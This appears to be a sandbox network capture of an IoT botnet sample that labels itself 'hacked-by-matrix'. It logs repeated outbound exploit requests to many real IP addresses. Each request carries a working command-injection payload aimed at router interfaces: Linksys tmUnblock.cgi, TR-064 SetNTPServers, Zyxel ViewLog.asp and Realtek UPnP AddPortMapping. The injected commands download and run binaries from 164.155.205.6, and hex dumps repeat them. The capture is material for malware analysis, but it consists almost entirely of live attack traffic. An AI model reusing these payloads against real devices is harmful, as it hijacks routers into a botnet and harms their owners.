Mar 2, 2024 12:38:48.245345116 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:49.653197050 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:52.692728996 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1719	192.168.2.23	43038	172.77.136.91	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.735358000 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1720	192.168.2.23	57244	74.131.160.227	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.736428022 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1721	192.168.2.23	43202	172.77.136.91	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.863712072 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1722	192.168.2.23	51182	172.65.165.151	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:47.953578949 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1723	192.168.2.23	49926	213.81.152.122	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:48.015568018 CET	54	IN	Data Raw: 42 49 47 2d 49 50 3a 20 5b 30 78 33 31 64 33 33 32 31 3a 32 35 37 31 5d 20 56 49 50 20 64 69 73 61 62 6c 65 64 20 28 61 64 6d 69 6e 69 73 74 72 61 74 69 76 65 29 Data Ascii: BIG-IP: [0x31d3321:2571] VIP disabled (administrative)

Session ID	Source IP	Source Port	Destination IP	Destination Port
1724	192.168.2.23	34636	98.172.111.133	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:48.202771902 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1725	192.168.2.23	35148	172.65.15.235	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:48.228539944 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1726	192.168.2.23	54810	172.66.169.1	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:48.228691101 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1727	192.168.2.23	33806	172.103.131.51	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:48.338537931 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1728	192.168.2.23	42372	44.226.193.235	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:48.388539076 CET	19	IN	Data Raw: 15 03 01 00 02 01 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1729	192.168.2.23	57408	74.131.160.227	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:48.873117924 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1730	192.168.2.23	49318	184.75.118.100	8080

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:49.080535889 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:49.653186083 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:50.357095003 CET	121	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://164.155.205.6/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 2, 2024 12:38:50.453809023 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
1731	192.168.2.23	43128	172.77.136.91	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:49.759927034 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 2, 2024 12:38:49.940943956 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1732	192.168.2.23	43236	172.77.136.91	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:49.891422987 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1733	192.168.2.23	53760	71.218.114.198	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:49.899293900 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1734	192.168.2.23	49932	82.84.25.27	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:49.973711014 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:54.228512049 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1735	192.168.2.23	50400	83.66.213.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:49.973743916 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 2, 2024 12:38:54.228512049 CET	422	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://164.155.205.6/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1736	192.168.2.23	39152	99.233.90.254	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:50.031124115 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1737	192.168.2.23	53766	71.218.114.198	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:50.033874989 CET	721	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1738	192.168.2.23	39160	99.233.90.254	7547

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:50.190037012 CET	733	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://164.155.205.6/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
1739	192.168.2.23	39494	172.65.242.124	55555

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:50.700916052 CET	437	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F164.155.205.6%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1740	192.168.2.23	55994	164.167.71.73	52869

Timestamp	Bytes transferred	Direction	Data
Mar 2, 2024 12:38:50.737982988 CET	986	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 36 34 2e 31 35 35 2e 32 30 35 2e 36 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://164.155.205.6/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 2, 2024 12:38:50.858474016 CET	1280	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=UTF-8 Content-Length: 11709 Connection: close P3P: CP="CAO PSA OUR" Expires: Thu, 01 Jan 1970 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 41 50 50 4c 49 43 41 54 49 4f 4e 20 42 4c 4f 43 4b 45 44 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 3e 0a 23 63 7b 62 6f 72 64 65 72 3a 33 70 78 20 73 6f 6c 69 64 20 23 61 61 61 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 6d 61 72 67 69 6e 3a 32 30 3b 70 61 64 64 69 6e 67 3a 32 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 48 65 6c 76 65 74 69 63 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 0a 68 31 2c 68 32 2c 68 33 2c 68 34 2c 68 35 2c 68 36 2c 68 37 2c 68 38 7b 66 6f 6e 74 2d 